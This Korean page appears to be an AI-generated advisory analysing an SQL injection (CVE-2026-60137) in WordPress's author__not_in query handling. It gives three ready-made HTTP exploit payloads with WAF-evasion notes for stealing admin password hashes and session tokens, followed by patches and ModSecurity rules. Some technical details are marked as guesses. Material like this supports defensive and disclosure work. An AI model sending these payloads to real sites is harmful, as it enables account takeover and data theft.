Kestrel
CVE-2026-60137mimon· 2026년 7월 27일 AM 01:30

CVE-2026-60137 — 기본 분석

공격 방법

① 취약 컴포넌트: WordPress Core wp-includes/class-wp-query.phpWP_Query::get_posts()get_sql_for_clause() 경로에서 author__not_in 파라미터를 처리하는 로직. 영향 버전은 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 이며, 6.8.6 / 6.9.5 / 7.0.2 에서 수정. 기본 설치 상태에서는 코어가 내부 sanitize (absint() 또는 wp_parse_id_list()) 를 강제하나, 추정: 배열 요소를 캐스팅 없이 implode(',', $author__not_in)NOT IN (…) 절에 삽입하는 코드 경로가 존재하여 문자열 타입 요소가 그대로 SQL 로 흘러갑니다.

② 공격 전제조건: 인증 불필요 (추정: 대부분 시나리오). 취약 플러그인·테마가 사용자 입력($_GET, $_POST, REST 파라미터, 쇼트코드 속성 등) 을 캐스팅 없이 new WP_Query(['author__not_in' => $_GET['exclude']]) 형태로 전달해야 트리거됨. WP 코어 자체 REST /wp/v2/posts?author_exclude=sanitize_callback 으로 정수 배열을 강제하므로 안전하지만, 서드파티 리스팅·필터·AJAX 엔드포인트 (예: WooCommerce 상품 리스트, Elementor 포스트 위젯, 커스텀 admin-ajax.php action) 에서 트리거 가능. 네트워크 위치는 인터넷 노출 HTTP.

③ 트리거 경로: 요청 예 GET /?exclude[]=1)+UNION+SELECT+...--+- → 플러그인이 $_GET['exclude'] (배열) 를 WP_Queryauthor__not_in 에 전달 → WP_Query::parse_query() 가 배열을 그대로 저장 → 최종 SQL 생성 시 implode(',', $q['author__not_in']) 결과가 WHERE {$wpdb->posts}.post_author NOT IN (1) UNION SELECT user_login,user_pass,...--) 형태로 완성 → $wpdb->get_results() 가 실행. 추정: 6.8.6 패치는 array_map('absint', …) 강제 캐스팅 추가. 핵심은 각 배열 요소 가 정수 화이트리스트를 통과하지 못한다는 점이며, 1) UNION SELECT 처럼 닫는 괄호를 포함한 문자열이 원본 IN ( 를 조기 종료시킴.

④ 성공 시 영향: wp_users.user_pass (phpass 해시), wp_optionsauth_key/secret_key, wp_usermetasession_tokens 유출 → 오프라인 해시 크래킹 또는 세션 토큰 재사용으로 관리자 인증 → /wp-admin/plugin-install.php 를 통한 악성 플러그인 업로드 → PHP webshell → OS 명령 실행 → DB 자격증명 재사용을 통한 lateral movement (동일 MySQL 인스턴스의 타 사이트 DB, 공유 호스팅 환경의 인접 계정). 추정: SELECT ... INTO OUTFILE 가능하면 웹루트에 직접 webshell 드롭.

페이로드 예시

예시 1

http
1# 용도: UNION 기반 in-band SQLi 로 관리자 해시 즉시 추출 (취약 플러그인의 exclude 필터가 author__not_in 에 전달)
2GET /?post_type=product&exclude[]=0)%20UNION%20SELECT%20user_login,user_pass,user_email,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20FROM%20wp_users--%20- HTTP/1.1
3Host: TARGET_HOST
4# 핵심: 배열 요소 `0)` 의 닫는 괄호가 원본 `post_author NOT IN (` 를 조기 종료시키고, `--%20-` (dash-space-dash) 로 뒤따르는 `)` 를 주석 처리. WP posts 테이블 컬럼 수(23) 에 맞춰 UNION 컬럼 정렬 → wp_users 의 user_login/user_pass 가 포스트 title/content 자리에 렌더링됨. absint() 미적용이 유일한 실패 조건.
5# 확인 포인트: 응답 HTML 의 <h2 class="entry-title"> 또는 상품 카드 제목에 `admin` 사용자명이, 본문에 `$P$B` 로 시작하는 phpass 해시가 노출되는지

예시 2

http
1# 용도: WAF 가 UNION/SELECT 키워드를 차단할 때 사용하는 time-based blind 변형 + POST body 진입점 (admin-ajax.php)
2POST /wp-admin/admin-ajax.php HTTP/1.1
3Host: TARGET_HOST
4Content-Type: application/x-www-form-urlencoded
5
6action=vulnerable_filter_posts&author__not_in[]=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(8-(IF(ORD(SUBSTRING((SELECT/**/user_pass/**/FROM/**/wp_users/**/WHERE/**/ID=1),1,1))=36,8,0)))))a)--%20-
7# 핵심: `/**/` 인라인 주석으로 공백 기반 시그니처 회피, `SLEEP()` 인자에 조건부 산술을 넣어 첫 해시 문자가 `$` (ORD=36) 일 때 8초 지연 → 응답 시간 델타로 문자별 exfil. GET 이 WAF 에 걸리는 환경에서 admin-ajax POST body 는 별도 룰셋인 경우가 많음.
8# 확인 포인트: 매칭 시 응답 지연 ≥ 8초, 미매칭 시 <1초. curl -o /dev/null -w '%{time_total}' 로 델타 측정

예시 3

http
1# 용도: REST API 진입점 + 대체 인코딩 우회 (JSON body 로 author__not_in 배열 전달, hex/CHAR 로 문자열 리터럴 은닉하며 세션 토큰 exfil)
2POST /wp-json/customplugin/v1/list HTTP/1.1
3Host: TARGET_HOST
4Content-Type: application/json
5
6{"author__not_in":["0) UNION SELECT meta_value,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM wp_usermeta WHERE meta_key=0x73657373696f6e5f746f6b656e73 AND user_id=1-- -"]}
7# 핵심: `meta_key=0x73657373696f6e5f746f6b656e73` (=`session_tokens`) 로 작은따옴표를 완전 제거하여 quote-차단 WAF 회피. JSON body 는 URL 인코딩·%-decode 기반 룰을 우회. WP REST 라우터가 sanitize_callback 을 등록하지 않은 커스텀 엔드포인트를 사용.
8# 확인 포인트: 응답 JSON 의 title 필드에 PHP 직렬화 문자열 `a:1:{s:64:"...";a:4:{s:10:"expiration";i:...` 이 포함되면 세션 토큰 획득 → 쿠키 `wordpress_logged_in_<hash>` 재조립으로 관리자 세션 하이재킹

완화 방안

  • [버전업그레이드] WordPress 6.8.6 / 6.9.5 / 7.0.2 로 즉시 업그레이드 — WP_Query::parse_query()$q['author__not_in'] 에 대해 wp_parse_id_list() + array_map('absint', …) 를 강제 적용하도록 수정됨. payload 의 0) UNION SELECT ... 문자열이 absint('0) UNION SELECT ...') === 0 으로 정수화되어 NOT IN (0) 만 남고 UNION/주석 토큰 전부 소실.
  • [코드패치] 취약 플러그인/테마의 콜백에서 WP_Query 호출 직전에 화이트리스트 캐스팅 삽입 — Before: new WP_Query(['author__not_in' => $_GET['exclude']]); → After: new WP_Query(['author__not_in' => array_map('absint', (array) wp_unslash($_GET['exclude'] ?? []))]);. payload 세 개 모두 배열 요소가 문자열이므로 absint() 결과 0 으로 붕괴, --·UNION·0x73...·SLEEP() 토큰 전부 제거.
  • [WAF·네트워크] ModSecurity 룰 — SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|REQUEST_BODY "@rx (?i)author__not_in\[\]?.*(\)|--|/\*|union|select|sleep|0x[0-9a-f]+)" "id:1060137,phase:2,deny,status:403,msg:'CVE-2026-60137 author__not_in SQLi'" — payload #1 의 exclude[]=0), payload #2 의 SLEEP(/**/, payload #3 의 0x73657373696f6e5f746f6b656e73 를 각각 매칭. JSON body 검사를 위해 SecRequestBodyAccess On + SecRule REQUEST_HEADERS:Content-Type "@contains application/json" "id:1060138,phase:1,pass,ctl:requestBodyProcessor=JSON" 병행 필수.
  • [입력검증] REST 엔드포인트 등록 시 register_rest_route()args 에 강제 sanitize_callback 부여 — 'author__not_in' => ['type' => 'array', 'items' => ['type' => 'integer'], 'sanitize_callback' => 'wp_parse_id_list', 'validate_callback' => function($v){return is_array($v) && count(array_filter($v, 'is_numeric')) === count($v);}]. payload #3 의 JSON 배열 요소가 문자열("0) UNION ...") 이므로 is_numeric 화이트리스트에서 즉시 400 Bad Request 반환, DB 쿼리 미생성.
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…